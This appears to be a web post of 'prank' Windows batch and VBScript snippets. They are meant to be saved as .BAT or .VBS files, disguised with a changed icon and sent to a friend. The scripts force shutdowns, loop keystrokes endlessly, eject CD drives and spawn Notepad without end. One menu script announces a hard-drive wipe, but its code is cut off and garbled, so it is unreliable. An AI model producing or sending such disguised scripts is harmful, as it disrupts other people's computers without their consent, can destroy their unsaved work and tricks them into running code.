10 MOst dangerous scripts to prank your friend >> ALL OF THEZE COMMANDZ ARE TO BE TYPED IN NOTEPAD...--- --- --- --- --- --- --- --- ---
1) Convey your friend a lil' message and shut down his / her computer:Type :@echo offmsg * I don't like youshutdown -c "Error! You are too ******!" -sSave it as "Anything.BAT" in All Files and send it.
2) Toggle your friend's Caps Lock button simultaneously:Type :Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{CAPSLOCK}"loopSave it as "Anything.VBS" and send it.
3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!Type :Set oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count>= 1 thenFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 5000loopSave it as "Anything.VBS" and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:Type :Set wshShell = wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "~(enter)"loopSave it as "Anything.VBS" and send it.
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:Type :WScript.Sleep 180000WScript.Sleep 10000Set WshShell = WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 100WshShell.AppActivate "Notepad"WScript.Sleep 500WshShell.SendKeys "Hel"WScript.Sleep 500WshShell.SendKeys "lo "WScript.Sleep 500WshShell.SendKeys ", ho"WScript.Sleep 500WshShell.SendKeys "w a"WScript.Sleep 500WshShell.SendKeys "re "WScript.Sleep 500WshShell.SendKeys "you"WScript.Sleep 500WshShell.SendKeys "? "WScript.Sleep 500WshShell.SendKeys "I a"WScript.Sleep 500WshShell.SendKeys "m g"WScript.Sleep 500WshShell.SendKeys "ood"WScript.Sleep 500WshShell.SendKeys " th"WScript.Sleep 500WshShell.SendKeys "ank"WScript.Sleep 500WshShell.SendKeys "s! "Save it as "Anything.VBS" and send it.
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:Type :MsgBox "Let's go back a few steps"Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{bs}"loopSave it as "Anything.VBS" and send it.
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:Type :Set wshShell = wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "You are a fool."loopSave it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:Type :@ECHO off:topSTART %SystemRoot%\system32\notepad.exeGOTO topSave it as "Anything.BAT" and send it.
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:1: Shutdown2: Restart3: Wipes out your hard drive (BEWARE)4: Net send5: Messages then shutdownType :@echo offtitle The end of the worldcd C:\:menuclsecho I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...pauseecho Pick your poison:echo 1. Die this way (Wimp)echo 2. Die this way (WIMP!)echo 3. DO NOT DIE THIS WAYecho 4. Die this way (you're boring)echo 5. Easy way outset input=nothingset /p input=Choice:if %input%==1 goto oneif %input%==2 goto twoSave it as "Anything.BAT" and send it.
You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon andchange the icon from there.